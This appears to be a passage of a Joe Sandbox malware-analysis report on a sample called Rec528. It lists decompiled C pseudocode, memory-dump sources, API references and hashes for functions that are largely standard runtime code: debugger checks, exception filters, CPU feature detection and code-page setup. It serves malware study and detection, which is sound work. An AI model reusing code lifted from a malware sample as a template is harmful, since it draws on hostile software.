				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E10003BE0(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E1000309B(_t49);
				}
				return _t49;
			}

0x10002f80
0x10002f80
0x10002f80
0x10002f94
0x10002f96
0x10002f99
0x10002f99
0x10002f9d
0x10002fa2
0x10002fba
0x10002fc0
0x10002fc6
0x10002fcc
0x10002fd2
0x10002fd8
0x10002fde
0x10002fe5
0x10002fec
0x10002ff3
0x10002ffa
0x10003001
0x10003008
0x10003009
0x10003012
0x10003018
0x1000301b
0x10003021
0x10003030
0x1000303c
0x10003047
0x1000304e
0x10003055
0x10003060
0x10003068
0x10003071
0x10003073
0x10003076
0x10003078
0x10003082
0x1000308a
0x10003090
0x00000000
0x10003097
0x1000309a

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 10002F8C
IsDebuggerPresent.KERNEL32 ref: 10003058
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 10003078
UnhandledExceptionFilter.KERNEL32(?), ref: 10003082

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1fc54d42d7f085c83be5bb40c933487c8c951e48705f5e01635f0ce73d594421
Instruction ID: 04648abf701f5a68dc6c1e36ded2dc2e81e8b0f6840b4fb512aaacde83866066
Opcode Fuzzy Hash: 1fc54d42d7f085c83be5bb40c933487c8c951e48705f5e01635f0ce73d594421
Instruction Fuzzy Hash: F5311875D052189BEB11DFA4D989BCDBBF8EF08344F1081AAE40DAB250EB719A858F04

Uniqueness

Uniqueness Score: -1.00%

Function 10005630 Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E10005630(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x10017004; // 0x2b917a71
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E1000309B(_t41);
					_pop(_t61);
				}
				E10003BE0(_t66,  &_v804, 0, 0x50);
				E10003BE0(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E1000309B(_t57);
				}
				return E100026A5(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x10005630
0x10005630
0x10005630
0x1000563b
0x10005640
0x10005642
0x1000564a
0x1000564c
0x1000564f
0x10005654
0x10005654
0x10005660
0x10005673
0x10005681
0x10005687
0x1000568d
0x10005693
0x10005699
0x1000569f
0x100056a5
0x100056ab
0x100056b1
0x100056b7
0x100056be
0x100056c5
0x100056cc
0x100056d3
0x100056da
0x100056e1
0x100056e2
0x100056eb
0x100056f1
0x100056f4
0x100056fa
0x10005707
0x10005710
0x10005719
0x10005722
0x10005730
0x10005732
0x10005747
0x10005753
0x10005756
0x1000575b
0x10005768

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 10005728
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 10005732
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 1000573F

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 892245bd215ace0ce4340a2a6bd9b94d3c17d43c898c7ae01938082b0612e83f
Instruction ID: 8f0c72b485ae36d5d20cf576335094bf88066c54cdd2beb903ecd1af2e7e76d7
Opcode Fuzzy Hash: 892245bd215ace0ce4340a2a6bd9b94d3c17d43c898c7ae01938082b0612e83f
Instruction Fuzzy Hash: 853192749012289BDB62DF64D889B8DBBB8FF08350F5081DAE51CA6251E7719F858F44

Uniqueness

Uniqueness Score: -1.00%

Function 10005EB5 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10005EB5(int _a4) {
				void* _t14;

				if(E10007A06(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E10005F3A(_t14, _a4);
				ExitProcess(_a4);
			}

0x10005ec2
0x10005ede
0x10005ede
0x10005ee7
0x10005ef0

APIs

GetCurrentProcess.KERNEL32(?,?,10005EB4,?,?,?,?,?,10001F08), ref: 10005ED7
TerminateProcess.KERNEL32(00000000,?,10005EB4,?,?,?,?,?,10001F08), ref: 10005EDE
ExitProcess.KERNEL32 ref: 10005EF0

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ea7f26f5967691b67dab3920186778f4749eb9fc42885c32184b385f004a135c
Instruction ID: a1f63a9a8ea659d92b262e4bb535059e371a7997e6b18d63e8dd7f281c17c166
Opcode Fuzzy Hash: ea7f26f5967691b67dab3920186778f4749eb9fc42885c32184b385f004a135c
Instruction Fuzzy Hash: BAE0B631510199ABEF02EB54CD49A5A3B6AFB44286F018415F9898A135CB7AEE51CA90

Uniqueness

Uniqueness Score: -1.00%

Function 0040F773 Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040F773(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0x45054c =  *0x45054c & 0x00000000;
				 *0x43d060 =  *0x43d060 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v12 = _v28 ^ 0x49656e69;
				_v8 = _v36 ^ 0x756e6547;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v32 ^ 0x6c65746e | _v12) != 0) {
					L9:
					_t96 =  *0x450550; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0x450550 = _t96 | 0x00000002;
						}
					}
					_t61 =  *0x43d060; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0x45054c = 1;
					 *0x43d060 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0x45054c = 2;
						 *0x43d060 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0x43d060; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0x45054c = 3;
								 *0x43d060 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0x45054c = 5;
									 *0x43d060 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0x43d060 =  *0x43d060 | 0x00000040;
										 *0x45054c = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0x450550; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0x450550 = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x0040f773
0x0040f776
0x0040f780
0x0040f791
0x0040f940
0x0040f943
0x0040f943
0x0040f797
0x0040f79d
0x0040f7a2
0x0040f7a6
0x0040f7aa
0x0040f7ab
0x0040f7ad
0x0040f7b0
0x0040f7b5
0x0040f7be
0x0040f7cf
0x0040f7da
0x0040f7e0
0x0040f7e1
0x0040f7e6
0x0040f7e9
0x0040f7ee
0x0040f7f6
0x0040f7f9
0x0040f7fc
0x0040f841
0x0040f841
0x0040f847
0x0040f847
0x0040f84c
0x0040f84d
0x0040f853
0x0040f884
0x0040f855
0x0040f857
0x0040f858
0x0040f85d
0x0040f860
0x0040f862
0x0040f865
0x0040f868
0x0040f86b
0x0040f86e
0x0040f877
0x0040f87c
0x0040f87c
0x0040f877
0x0040f887
0x0040f88c
0x0040f88f
0x0040f899
0x0040f8a4
0x0040f8aa
0x0040f8ad
0x0040f8b7
0x0040f8c2
0x0040f8ce
0x0040f8d1
0x0040f8d4
0x0040f8df
0x0040f8e4
0x0040f8e6
0x0040f8eb
0x0040f8ee
0x0040f8f8
0x0040f900
0x0040f905
0x0040f90f
0x0040f91d
0x0040f930
0x0040f937
0x0040f937
0x0040f91d
0x0040f900
0x0040f8e4
0x0040f8c2
0x00000000
0x0040f93f
0x0040f801
0x0040f80b
0x0040f830
0x0040f836
0x0040f839
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0040F789

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: af8edf595f28d6e0de3f7c832e975c9ce316b7f81847fa13e3e8cff5d50537ce
Instruction ID: 4f8db1e84fa3524b3b346f9e76b7198fc21d40e16fa52266ef375bc31835d5f5
Opcode Fuzzy Hash: af8edf595f28d6e0de3f7c832e975c9ce316b7f81847fa13e3e8cff5d50537ce
Instruction Fuzzy Hash: 2A515BB29002199BEB28CF59D8957AABBF0FB48314F14843AD405EB7A1E378D905CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0042039F Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fc7f42db509279383e3cc01eb7112f14e58f64f47ca781cad5004ddb32a561f
Instruction ID: 3f92223e2ca754af41fd68be8ef222df285e4b676d2b49927b0229ad117657db
Opcode Fuzzy Hash: 7fc7f42db509279383e3cc01eb7112f14e58f64f47ca781cad5004ddb32a561f
Instruction Fuzzy Hash: 81E08C72A12238EBCB14DBC9D90498AF3FCEB48B54B55449BF901D3201C274DE40C7D4

Uniqueness

Uniqueness Score: -1.00%

Function 004429E7 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca6e8abd497ec3a1c156abf087cd513271e0a7e0f941d3f632673506c1267ca
Instruction ID: c2f19552910a0c3bc7347bbf13de0f87239dfd182ffd37263a02f476a58fa8e8
Opcode Fuzzy Hash: 2ca6e8abd497ec3a1c156abf087cd513271e0a7e0f941d3f632673506c1267ca
Instruction Fuzzy Hash: 3AE08C72911238EBCB24DF89DA0499AF3ECEB44B55B51449BF901F3200C6B4DE00C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 10007A06 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10007A06(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E100073D6(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x10007a13
0x10007a15
0x10007a18
0x10007a1b
0x10007a1e
0x10007a2f
0x10007a31
0x10007a20
0x10007a24
0x10007a2d
0x00000000
0x00000000
0x10007a2d
0x10007a36

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 7fa7e7f11da0b43396639d3fdd67456086983de714439f05789908436ba01b59
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: 20E08C32E11228EBCB10CB88C940D8AB3FCFB85A80B110096B505E3101D2B4DF00CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0044028F Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2bf1e3dbd56a5e62411fbd5e71e5e7a82189cacba0b21ec395735c552563347
Instruction ID: 16c2de7a8d20c9c44f0cfcec9700f4c07f8ea1dcaa74a4bc5a03d74aca8627af
Opcode Fuzzy Hash: b2bf1e3dbd56a5e62411fbd5e71e5e7a82189cacba0b21ec395735c552563347
Instruction Fuzzy Hash: 22E04F31000108EBDF216F94CE8DA493B29FB40345F000469FE04AA671CB79DC91DA48

Uniqueness

Uniqueness Score: -1.00%

Function 00418FC0 Relevance: 22.9, APIs: 15, Instructions: 357
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00418FC0(void* __edx, intOrPtr* _a4) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr* _v56;
				signed int _v60;
				signed int _v64;
				signed int* _v68;
				intOrPtr _v72;
				signed int* _v76;
				signed int** _v80;
				signed int** _v84;
				void* _v88;
				char _v92;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t126;
				signed int* _t129;
				intOrPtr* _t131;
				signed int* _t147;
				signed short _t150;
				signed int _t151;
				void* _t153;
				void* _t156;
				void* _t159;
				void* _t160;
				void* _t164;
				signed int _t165;
				signed int* _t166;
				signed char _t183;
				signed int* _t186;
				void* _t190;
				char _t195;
				signed char _t197;
				void* _t204;
				signed int* _t205;
				void* _t207;
				signed int* _t209;
				void* _t212;
				intOrPtr _t213;
				intOrPtr _t217;
				signed int* _t221;
				intOrPtr _t222;
				signed int _t223;
				void* _t227;
				signed int _t230;
				char* _t231;
				intOrPtr _t232;
				signed int* _t235;
				signed char* _t236;
				signed int** _t239;
				signed int** _t240;
				signed char* _t249;
				void* _t251;
				intOrPtr* _t252;
				void* _t255;
				signed int _t256;
				short* _t257;
				signed int _t260;
				signed int _t261;
				void* _t262;
				void* _t263;

				_t233 = __edx;
				_t126 =  *0x43d054; // 0x298e9dc2
				_v8 = _t126 ^ _t261;
				_t252 = _a4;
				_t205 = 0;
				_v56 = _t252;
				_t237 = 0;
				_v32 = 0;
				_t213 =  *((intOrPtr*)(_t252 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v92 = _t252;
				_v88 = 0;
				if(_t213 == 0) {
					__eflags =  *(_t252 + 0x8c);
					if( *(_t252 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t252 + 0x8c) = _t205;
					_t129 = 0;
					__eflags = 0;
					 *(_t252 + 0x90) = _t205;
					 *_t252 = 0x430310;
					 *(_t252 + 0x94) = 0x430590;
					 *(_t252 + 0x98) = 0x430710;
					 *(_t252 + 4) = 1;
					L48:
					return E0040EB3F(_t129, _t205, _v8 ^ _t261, _t233, _t237, _t252);
				}
				_t131 = _t252 + 8;
				_v52 = 0;
				if( *_t131 != 0) {
					L3:
					_v52 = E0041E1DB("true", 4);
					E0041E238(_t205);
					_v32 = E0041E1DB(0x180, 2);
					E0041E238(_t205);
					_t237 = E0041E1DB(0x180, "true");
					_v44 = _t237;
					E0041E238(_t205);
					_v36 = E0041E1DB(0x180, "true");
					E0041E238(_t205);
					_v40 = E0041E1DB(0x101, "true");
					E0041E238(_t205);
					_t263 = _t262 + 0x3c;
					if(_v52 == _t205 || _v32 == _t205) {
						L43:
						E0041E238(_v52);
						E0041E238(_v32);
						E0041E238(_t237);
						E0041E238(_v36);
						_t205 = 1;
						__eflags = 1;
						goto L44;
					} else {
						_t217 = _v40;
						if(_t217 == 0 || _t237 == 0 || _v36 == _t205) {
							goto L43;
						} else {
							_t147 = _t205;
							do {
								 *(_t147 + _t217) = _t147;
								_t147 =  &(_t147[0]);
							} while (_t147 < 0x100);
							if(GetCPInfo( *(_t252 + 8),  &_v28) == 0) {
								goto L43;
							}
							_t150 = _v28;
							if(_t150 > 5) {
								goto L43;
							}
							_t151 = _t150 & 0x0000ffff;
							_v60 = _t151;
							if(_t151 <= 1) {
								L22:
								_t37 = _t237 + 0x81; // 0x81
								_t233 = 0xff;
								_v48 = _v40 + 1;
								_t153 = E0042136C(_t281, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x100, _v40 + 1, 0xff, _t37, 0xff,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x24;
								_t282 = _t153;
								if(_t153 == 0) {
									goto L43;
								}
								_t156 = E0042136C(_t282, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x200, _v48, 0xff, _v36 + 0x81, 0xff,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x24;
								_t283 = _t156;
								if(_t156 == 0) {
									goto L43;
								}
								_v72 = _v32 + 0x100;
								_t159 = E004217F5(_t283, _t205, "true", _v40, 0x100, _v32 + 0x100,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x1c;
								if(_t159 == 0) {
									goto L43;
								}
								_t160 = _v32;
								_t221 = _t160 + 0xfe;
								 *_t221 = 0;
								_t233 = _v44;
								_v76 = _t221;
								_t222 = _v36;
								_t239 = _t233 + 0x80;
								 *(_t233 + 0x7f) = _t205;
								_v80 = _t239;
								 *(_t222 + 0x7f) = _t205;
								 *_t239 = _t205;
								_t240 = _t222 + 0x80;
								_v84 = _t240;
								 *_t240 = _t205;
								if(_v60 <= 1) {
									L39:
									_t223 = 0x3f;
									_push(0x1f);
									memcpy(_v32, _v32 + 0x200, _t223 << 2);
									asm("movsw");
									_t164 = memcpy(_t233, _t233 + 0x100, 0 << 2);
									_t227 = 0x1f;
									asm("movsw");
									asm("movsb");
									_t255 = _t164 + 0x100;
									_t165 = memcpy(_t164, _t255, 0 << 2);
									_t237 = _t255 + _t227 + _t227;
									asm("movsw");
									asm("movsb");
									_t252 = _v56;
									if( *(_t252 + 0x8c) != 0) {
										asm("lock xadd [ecx], eax");
										if((_t165 | 0xffffffff) == 0) {
											E0041E238( *(_t252 + 0x90) - 0xfe);
											_t237 = 0x80;
											E0041E238( *(_t252 + 0x94) - 0x80);
											E0041E238( *(_t252 + 0x98) - 0x80);
											E0041E238( *(_t252 + 0x8c));
										}
									}
									_t166 = _v52;
									 *_t166 = 1;
									 *(_t252 + 0x8c) = _t166;
									 *_t252 = _v72;
									 *(_t252 + 0x90) = _v76;
									 *(_t252 + 0x94) = _v80;
									 *(_t252 + 0x98) = _v84;
									 *(_t252 + 4) = _v60;
									L44:
									E0041E238(_v40);
									_t129 = _t205;
									goto L48;
								}
								if( *(_t252 + 8) != 0xfde9) {
									_t249 =  &_v22;
									__eflags = _v22 - _t205;
									if(_v22 == _t205) {
										goto L39;
									}
									_t207 = _v32;
									while(1) {
										_t183 = _t249[1];
										__eflags = _t183;
										if(_t183 == 0) {
											break;
										}
										_t256 =  *_t249 & 0x000000ff;
										_v64 = _t256;
										__eflags = _t256 - (_t183 & 0x000000ff);
										if(_t256 > (_t183 & 0x000000ff)) {
											L37:
											_t249 =  &(_t249[2]);
											__eflags =  *_t249;
											if( *_t249 != 0) {
												continue;
											}
											break;
										}
										_v48 = _t233;
										_t186 = _t222 + 0x80 + _t256;
										_t235 = _t233 - _t222;
										__eflags = _t235;
										_t230 = _v64;
										_t257 = _t207 - 0xffffff00 + _t256 * 2;
										_v68 = _t186;
										_t209 = _t186;
										do {
											 *_t257 = 0x8000;
											_t257 = _t257 + 2;
											 *(_t235 + _t209) = _t230;
											 *_t209 = _t230;
											_t230 = _t230 + 1;
											_t209 =  &(_t209[0]);
											__eflags = _t230 - (_t249[1] & 0x000000ff);
										} while (_t230 <= (_t249[1] & 0x000000ff));
										_t233 = _v44;
										_t222 = _v36;
										_t207 = _v32;
										goto L37;
									}
									L38:
									_t205 = 0;
									goto L39;
								}
								_v44 = _t160 + 0x200;
								_t231 = _t233 + 0x100;
								_t251 = _t222 - _t233;
								_t190 = 0xffffff80;
								_v48 = _t190 - _t233;
								do {
									_push(0x32);
									asm("sbb eax, eax");
									_v44 = _v44 + 2;
									 *_v44 = (0xfffffebe + _t231 & 0xffff8000) + 0x8000;
									_t212 = _v48;
									_t195 = _t231 + _t212;
									 *_t231 = _t195;
									 *((char*)(_t251 + _t231)) = _t195;
									_t231 = _t231 + 1;
								} while (_t212 + _t231 <= 0xff);
								goto L38;
							}
							_t281 =  *(_t252 + 8) - 0xfde9;
							if( *(_t252 + 8) != 0xfde9) {
								_t236 =  &_v22;
								__eflags = _v22 - _t205;
								if(__eflags == 0) {
									goto L22;
								}
								_t232 = _v40;
								while(1) {
									_t197 = _t236[1];
									__eflags = _t197;
									if(__eflags == 0) {
										break;
									}
									_t260 =  *_t236 & 0x000000ff;
									__eflags = _t260 - (_t197 & 0x000000ff);
									if(_t260 > (_t197 & 0x000000ff)) {
										L20:
										_t236 =  &(_t236[2]);
										__eflags =  *_t236 - _t205;
										if(__eflags != 0) {
											continue;
										}
										break;
									} else {
										goto L19;
									}
									do {
										L19:
										 *((char*)(_t260 + _t232)) = 0x20;
										_t260 = _t260 + 1;
										__eflags = _t260 - (_t236[1] & 0x000000ff);
									} while (_t260 <= (_t236[1] & 0x000000ff));
									goto L20;
								}
								_t252 = _v56;
								goto L22;
							}
							E00410A80(_t237, _v40 - 0xffffff80, 0x20, 0x80);
							_t263 = _t263 + 0xc;
							goto L22;
						}
					}
				}
				_push(_t131);
				_push(0x1004);
				_push(_t213);
				_push(0);
				_push( &_v92);
				_t204 = E00421645(__edx);
				_t263 = _t262 + 0x14;
				if(_t204 != 0) {
					goto L43;
				}
				goto L3;
			}

0x00418fc0
0x00418fc8
0x00418fcf
0x00418fd4
0x00418fd7
0x00418fda
0x00418fdd
0x00418fdf
0x00418fe2
0x00418fe8
0x00418feb
0x00418fee
0x00418ff1
0x00418ff6
0x004193d9
0x004193db
0x004193dd
0x004193dd
0x004193e0
0x004193e6
0x004193e6
0x004193e8
0x004193ee
0x004193f4
0x004193fe
0x00419408
0x0041940f
0x0041941d
0x0041941d
0x00418ffc
0x00418fff
0x00419004
0x00419022
0x0041902c
0x0041902f
0x00419042
0x00419045
0x00419052
0x00419055
0x00419058
0x0041906a
0x0041906d
0x0041907f
0x00419082
0x00419087
0x0041908d
0x004193a2
0x004193a5
0x004193ad
0x004193b3
0x004193bb
0x004193c5
0x004193c5
0x00000000
0x0041909c
0x0041909c
0x004190a1
0x00000000
0x004190b8
0x004190b8
0x004190ba
0x004190ba
0x004190bd
0x004190be
0x004190d4
0x00000000
0x00000000
0x004190da
0x004190e0
0x00000000
0x00000000
0x004190e6
0x004190e9
0x004190ef
0x00419145
0x00419148
0x00419152
0x00419167
0x0041916b
0x00419170
0x00419173
0x00419175
0x00000000
0x00000000
0x0041919e
0x004191a3
0x004191a6
0x004191a8
0x00000000
0x00000000
0x004191c3
0x004191c9
0x004191ce
0x004191d3
0x00000000
0x00000000
0x004191d9
0x004191e2
0x004191e8
0x004191eb
0x004191ee
0x004191f1
0x004191f4
0x004191fa
0x004191fd
0x00419200
0x00419203
0x00419205
0x0041920b
0x0041920e
0x00419210
0x004192e0
0x004192e7
0x004192e8
0x004192f3
0x004192f8
0x00419302
0x00419304
0x00419305
0x00419307
0x00419308
0x00419310
0x00419310
